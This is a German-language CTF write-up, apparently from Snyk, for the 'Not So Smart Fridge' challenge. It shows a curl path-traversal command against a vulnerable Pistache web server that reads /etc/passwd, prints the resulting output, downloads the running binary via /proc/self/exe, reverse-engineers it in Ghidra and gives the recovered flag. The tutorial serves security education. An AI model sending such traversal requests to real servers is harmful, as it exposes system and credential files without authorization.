Skip to main content

Fetch the Flag CTF 2022: Write-up zu „Not So Smart Fridge“

Artikel von

Antonio Gomes

feature ctf smart fridge

10. November 2022

0 Min. Lesezeit

Vielen Dank, dass Sie mit uns Fetch gespielt haben! Herzlichen Glückwunsch an die Tausenden von Spielerinnen und Spielern, die bei Fetch the Flag CTF dabei waren. Ein großes Dankeschön auch an die Snyker, die die Challenges erstellt, getestet und dokumentiert haben!

Diese Fetch the Flag CTF-Challenge beginnt mit einem herzlichen Willkommen und allen nötigen Informationen zu unserem brandneuen Smart Fridge Ultra SFU-3000! Spannend, oder?

Isaac Asimov sagte einst voraus: „Komplette oder teilweise zubereitete Mahlzeiten können im Kühlschrank aufbewahrt und verzehrfertig bereitgestellt werden. Die Küchengeräte können ‚automatische Mahlzeiten‘ zubereiten, Wasser erhitzen und Kaffee kochen.“ Und genau so weit sind wir heute: Mit diesem Kühlschrank können wir Produkte bestellen und sogar Musik über die integrierten Lautsprecher abspielen. Großartig!

Startbildschirm von Smart Fridge v0.1 mit Navigation für Startseite, Produkte, Musik und Einstellungen sowie Text zur Bestellung von Produkten und zum Abspielen von Musik.

Nun, spannend war es nur, bis ich herausfand, dass die Funktion Musik nicht verfügbar war. Auch die Funktion Einstellungen zum Aktualisieren der Kühlschrank-Firmware war defekt. Es gab also keine Möglichkeit, ein Upgrade von pistache/0.0.3.20220107 auf die neueste Version durchzuführen. Immerhin kennen wir unsere Firmware-Version. Das hilft uns bei unserem Ziel: das Flag zu finden und diese Challenge zu lösen!

Systemeinstellungsbildschirm des Smart Fridge v0.1 mit Online-Status, Modell SFU-3000 und Software-Framework-Version

Schritt-für-Schritt-Anleitung

Nachdem wir die Webseite unseres Smart Fridge Ultra SFU-3000 — aufgerufen und uns von seinen tatsächlichen Funktionen enttäuscht gezeigt hatten, navigierten wir zu Einstellungen und fanden heraus, dass die Firmware pistache/0.0.3.20220107 ist. Falls Sie pistache nicht kennen: Es handelt sich um ein modernes HTTP- und REST-Framework für C++. Das ist hilfreich, denn es gibt uns Hinweise auf die Software hinter der Webseite unserer Challenge.

Mit diesen Informationen können wir ganz einfach in der Snyk Intel Vulnerability Database nach Sicherheitsproblemen im Zusammenhang mit pistache/0.0.3.20220107 suchen. Bei der Suche nach pistache finden wir heraus, dass Pistache von einer Path-Traversal-Schwachstelle betroffen ist, die auch die Version in der Firmware unseres Kühlschranks betrifft – 0.0.3.20220107. Perfekt! Wir können versuchen, die Schwachstelle auszunutzen und den unten vorgeschlagenen Befehl aus dem PoC von Snyk verwenden.

Seite der Snyk Vulnerability Database mit einer Path-Traversal-Schwachstelle mittlerer Schwere im Paket pistacheio/pistache.

Mit curl --path-as-is verhindert curl, dass Sequenzen wie /../ aus dem vollständigen Pfad entfernt werden. So erhalten wir die unten gezeigten Ergebnisse, die belegen, dass wir die Liste der Benutzerinnen und Benutzer mit Zugriff auf das System abrufen konnten. Damit können wir die Path-Traversal-Schwachstelle ausnutzen. Außerdem sehen wir, dass es einen Ordner namens doc gibt.

root:x:0:0:root:/root:/bin/bash
daemon:×:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:×:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp::7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:×:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:×:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/bin/nologin
backup::34:34:backup:/var/backups:/usr/sin/nologin
list:x:38:38:MailingListManager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:×:41:41:GnatsBug-ReportingSystem(admin):/var/lib/gnats:/usr/sin/nologin
nobody:×:65534:65534:nobody:/nonexistent:/usr/sin/nologin
_apt:×:100:65534::/nonexistent:/usr/sbin/nologin

Wenn wir auf den Pfad zum Ordner doc zugreifen, erhalten wir Zugriff auf ein Swagger-API-Dokument. Darin können wir die verfügbaren Endpunkte unserer Webanwendung identifizieren, zum Beispiel v1/system/flag/{flag}. Zu diesem Zeitpunkt wissen wir bereits, dass es sich um eine Webanwendung handelt, die pistache als C++-Binärdatei verwendet.

Swagger-API-Dokumentationsoberfläche mit einem /api.json-Endpunkt und ausklappbaren GET-Routen für System- und Produktdaten

Wie geht es weiter? Wir nutzen proc unter Linux. Genauer gesagt verweist /proc/self/exe direkt auf den aktuell ausgeführten Prozess, in diesem Fall die Binärdatei der Pistache-Web-App. Dazu führen wir den folgenden Befehl aus:

curl --path-as-is "http://not-so-smart-fridge.c.ctf-snyk.io:8000/doc/../../proc/self/exe" --output exe

Damit können wir die Pistache-Binärdatei herunterladen. Wir müssen diese Binärdatei reverse-engineeren, um herauszufinden, was das Flag ist. Zunächst benötigen wir ein Tool für das Reverse-Engineering von Software. In diesem Fall verwende ich Ghidra (für MacOS ist es auch über brew verfügbar).

In Ghidra erstelle ich ein neues Projekt und importiere die zuvor heruntergeladene .exe-Binärdatei.

Ghidra-Importdialog mit einer ELF-Datei namens „exe“, die dem Projekt „ctf-write-up“ hinzugefügt wird

Jetzt kommen wir endlich zum spannenden Teil der Challenge: Wir finden heraus, wie das Flag aussieht! In Ghidra filtern wir die Ergebnisse nach „flag“. So entdecken wir eine Methode namens checkFlag, deren Inhalt im folgenden Bild im Fenster Decompile: checkFlag - (exe) zu sehen ist.

Ghidra-Oberfläche für Reverse Engineering mit Assemblercode, dekompiliertem C++-Code, Programmstrukturen und einer Funktion namens checkFlag.

Im dekompilierten Fenster sehen wir, dass das Flag 70 Zeichen lang sein muss:

if lVar4 == 0x46. Die Bedingung im ursprünglichen Code besagt, dass lVar4 die Länge des eingegebenen Flags enthält und 0x46 dem Dezimalwert 70 entspricht.

Nahaufnahme von farblich markiertem, rückentwickeltem Quellcode mit Variablenzuweisungen und Hexadezimalwerten.

Wenn die Bedingung oben erfüllt ist (length == 70), wird eine weitere Methode namens checkIndexes aufgerufen.

Nahaufnahme eines Screenshots mit Programmcode, der einen hervorgehobenen Aufruf der Funktion checkIndexes und einen try-Kommentar zeigt.

Wie auf den Bildern oben und unten zu sehen ist, erwartet checkIndexes einen Flag-String aus dem Programm, einen Vektor mit einer Reihe von Indizes und ein Zeichen – im Bild oben ist es '7'.

Decompiler-Fenster mit dem Code der Funktion checkIndexes, einschließlich Vektoriteration und Logik für den Zeichenvergleich.

Was bedeutet das? Bei jedem Aufruf von checkIndexes wird geprüft, ob an den Positionen jedes n-ten Indexes das richtige Zeichen steht. So lässt sich feststellen, ob der Flag-String gültig ist. Wir rufen alle Methoden checkIndexes auf. Wenn sie alle erfolgreich sind, haben wir das Flag gefunden. Um das Flag zu ermitteln, können wir entweder die disassemblierte Datei untersuchen, jede local_*-Variable von Hexadezimal in Dezimal umwandeln und so die Position bestimmen

Dekompilierter C++-Code mit Zuweisungen lokaler Variablen, der Initialisierung eines Vektors und einem Aufruf der Funktion checkIndexes.
0xd = 13, 0x16 = 22, 0x1d = 29, x27 = 39, 0x28 = 40, 0x2d = 45, 0x3b = 59

{13, 22, 29, 39,40, 45, 59} ist die Liste der Indizes, an denen das Zeichen `5` im Flag vorkommt. Jetzt setzen wir das Flag zusammen:

SNYK{6af6761359c4b442f534071351518abb7155c48d59df4bb80188ea57ed71eecc}

Eine andere Möglichkeit, alle Indizes für jeden zugewiesenen Vektor zu ermitteln, ist ein Skript (Code ansehen). Dazu exportieren wir das Programm als C/C++-Datei, entfernen den übrigen Code und berücksichtigen nur die checkFlag-Methode. Mit einem zusätzlichen Skript können wir die Datei analysieren, local_*-Variablen von Hexadezimal in Dezimal umwandeln und die Indizes für jedes Zeichen ermitteln, bis das Flag rekonstruiert ist.

Visual Studio Code mit einem Python-Skript, C-Quellcode und einer Terminalausgabe mit einem wiederhergestellten Flag-String

Schlauer als ein Kühlschrank

In dieser Challenge haben wir gelernt, wie wir mit Snyk eine Path-Traversal-Schwachstelle in einer C++-Webanwendung identifizieren, eine Binärdatei des laufenden Prozesses abrufen und herunterladen, sie mit Ghidra reverse-engineeren und durch die Analyse der dekompilierten Binärdatei das Flag herausfinden. Hat Spaß gemacht!

Das war’s! Ich hoffe, Ihnen haben unsere Challenges gefallen. Vielen Dank, dass Sie an unserem Snyk CTF 2022 teilgenommen haben! Möchten Sie wissen, wie wir die anderen Flags gefunden haben? Auf unserer Seite mit den Fetch the Flag-Lösungen erfahren Sie, wie wir dabei vorgegangen sind.

Weiterlesen

AI Background min crop
Blog

KI ruft alle Risiken auf den Plan, die Sie akzeptiert haben: Sieben Erkenntnisse aus dem AI Security Panel: Unfiltered

KI macht Angriffe günstiger und schneller und legt Risiken offen, die Unternehmen bereits tragen. Vier Sicherheitsverantwortliche erklären, warum Abwehr in Maschinengeschwindigkeit und schnellere Behebung jetzt unverzichtbar sind.

blog feature ai violet
Blog

VulnBump: Können KI-Agenten anfällige Abhängigkeiten beheben, ohne den Build zu beschädigen?

VulnBump testet KI-Agenten anhand von 307 realen Upgrades von Abhängigkeiten. Eine Behebung zählt nur, wenn die Sicherheitslücke geschlossen ist und Build und Tests weiterhin erfolgreich sind.

blog feature snyk container custom base recommendations
Blog

Evo Agentic AppSec: Sicherheit, die mit der KI-Entwicklung Schritt hält

KI-gestützte Entwicklung ist schneller als herkömmliche Sicherheitsabläufe. Snyks Agentic AppSec setzt Sicherheitsagenten ein, um Schwachstellen kontinuierlich zu finden, zu beheben und zu überprüfen – während Menschen die Maßstäbe festlegen.